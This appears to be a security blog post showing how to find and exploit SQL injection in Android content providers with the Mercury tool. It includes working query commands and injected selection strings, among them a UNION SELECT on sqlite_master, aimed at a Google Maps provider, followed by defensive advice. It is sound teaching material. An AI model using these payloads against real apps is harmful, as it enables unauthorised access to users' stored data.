Content providers are Android components that provide a standard interface for sharing data (i.e. content) between applications. A content provider can model content in a database, or be backed by the filesystem. Consumers of database backed content providers can perform queries equivalent to select, update, insert and delete. File backed content providers can provide access to files on the system Content providers use a URI addressing scheme similar to the url scheme model in iOS e.g:
The two main potential exposures that spring to mind are SQL injection in database backed content providers and directory traversal in file backed content providers. In this post we’ll have a play with SQL Injection thanks to the wonderful tool, mercury.
The heavy metal that poisoned the droid
Mercury is a really great tool for penetration testing Android applications written by the guys at MWR Labs. It’s pretty straightforward to use for anyone that’s used the command line interface to Metasploit and while it is possible to do everything Mercury does manually, it’s great to see tools like this that make Android exploitation more accessible to everyone. Installing and configuring mercury is left to the reader, but once you’re up and running on your device, you might want to take a look at the content provider scanner first before diving in here.
For example, here is a SQL injection vulnerability in the LayerInfoProvider in com.google.android.maps:
mercury> run scanner.provider.injection content://com.google.android.maps.LayerInfoProvider
No non-vulnerable URIs found.
Injection in Projection:
Injection in Selection:
Now that the scanner’s run, lets see what we can do with projection and solection in the LayerInfoProvider.
mercury> run app.provider.query --selection "'" content://com.google.android.maps.LayerInfoProvider
android.database.sqlite.SQLiteException: unrecognized token: "')" (code 1): , while compiling: SELECT * FROM LayerInfo WHERE (')
mercury> run app.provider.query --selection "foo" content://com.google.android.maps.LayerInfoProvider
android.database.sqlite.SQLiteException: no such column: foo (code 1): , while compiling: SELECT * FROM LayerInfo WHERE (foo)
Note the difference in exception between the first and second request.
Android uses sqlite as a database for content providers. Every database has an SQLITE_MASTER table contained therein. This table provides the names and SQL schema for all tables within the SQLite database. The SQLITE_MASTER table schema is as follows:
CREATE TABLE sqlite_master (
Knowing this, we can now start to map out the database.
mercury> run app.provider.query --selection "1=1) union select type from sqlite_master where (1=1" content://com.google.android.maps.LayerInfoProvider android.database.sqlite.SQLiteException: SELECTs to the left and right of UNION do not have the same number of result columns (code 1): , while compiling: SELECT * FROM LayerInfo WHERE (1=1) union select type from sqlite_master where (1=1)
Obviously this isn’t a major issue in this case but for apps containing sensitive data, SQL injection is a real threat. Had this have been banking information we could’ve accessed this via the SQL injection method with a malicious or compromised application on an unrooted phone.
Avoiding SQL injection in Android apps
Content providers can use the android:grantUriPermissions attribute and FLAG_GRANT_READ_URI_PERMISSION and FLAG_GRANT_WRITE_URI_PERMISSION to lock down permissions in the intent that activates the component.
For database access itself, parameterized methods are preferable from a security perspective as these provide some protection against SQL injection. However, parameterized statements aren’t perfect, and as with web applications (or indeed any applications), developers are encouraged to check user-supplied (and in this case device-supplied) input for malicious content prior to processing.